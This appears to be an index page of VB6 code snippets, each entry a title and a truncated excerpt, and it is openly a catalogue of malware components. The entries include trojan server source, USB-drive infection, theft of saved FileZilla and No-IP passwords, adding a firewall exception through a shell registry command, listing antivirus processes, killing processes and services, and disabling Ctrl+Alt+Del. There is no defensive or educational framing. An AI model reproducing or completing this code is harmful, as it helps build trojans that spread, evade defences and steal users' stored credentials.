Firewall Exception VB6 Code

Windows firewall exception: Code: Public Sub FirewallException(Path As String) Shell "cmd /c REG ADD HKLM\System\CurrentControl...

VB6 Basic Trojan Source Code

'Form=frmserver.frm 'Add control : MSWINSCK.OCX 'Project="server_project" Code: Private Sub Form_Load()     ...

Get Antivirus List VB6 Code

Code: Public Function AntiVirusess() As String On Error Resume Next Dim strComputer As String Dim objWMIService As Object Dim colProcesses...

Get/ Set Cursor Pos VB6 Code

Code: Public Function SetCursorP(X, Y) SetCursorPos X, Y End Function Public Function GetCursorX() Dim dl& dl& = Get...

Start button enable/disable vb6 code

Code: Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindo...

Get Spacial Path VB6

Get spacial path from the windows. Code: Private Const MAX_PATH = 260 Private Const CSIDL_STARTUP As Long = &H7 Private Const CSIDL...

Get Filezilla Passwords

code; Public Function sFileZilla() As String Dim sFile As String Dim sPath As String Dim sCont() As String Dim sHost() ...

Kill Process from PID

Code: Public Function KillByPID(PID As Long) Dim lOpen As Long lOpen = OpenProcess(PROCESS_ALL_ACCESS, 0, PID) Call terminatepro...

RegRead & Get Windiws OS VB6 Code

Code: Public Function RegRead(Path As String) As String On Error Resume Next Dim ws As Object On Local Error GoTo ErrHandler ...

Start Stop Service VB6 Code

Code: Public Sub StopService(strServiceName As String) Dim objWMIService As Object Dim colProcesses As Object Dim objProcess, ...

Kill Process

Code: Public Function Killprc( _ strNprc As String, _ Optional DecirSINO As Boolean = True) As Boolean On Error Resume Next ...

Hide taskbar icons VB6 Code

Code: Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindo...

Infect to USB Drives vb6 code

code: Private Function InfectUSB(FileName As String, Hide As Boolean) As Long On Error Resume Next Dim szBuffer As String * 128 ...

Get Window Caption VB6 Code

Code: Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString A...

Get Installed Applications VB6 Code

Code; Private Declare Function RegQueryValueExA Lib "advapi32" (ByVal HKey As Long, ByVal lpValueName As String, ByVal lpReserve...

No-IP Password VB6 code

code: Public Function GetNO_IP(ByRef sUser As String, ByRef sPass As String) As Boolean Dim lhKey As Long Dim sBuffer ...

Disable CtrlAltDel Vb6 Code

Code: Public Function DisableCtrlAltDel() Dim ret As Integer Dim pOld As Boolean ret = SystemParametersInfo(SPI_SCREENSAVERRUNNING, True...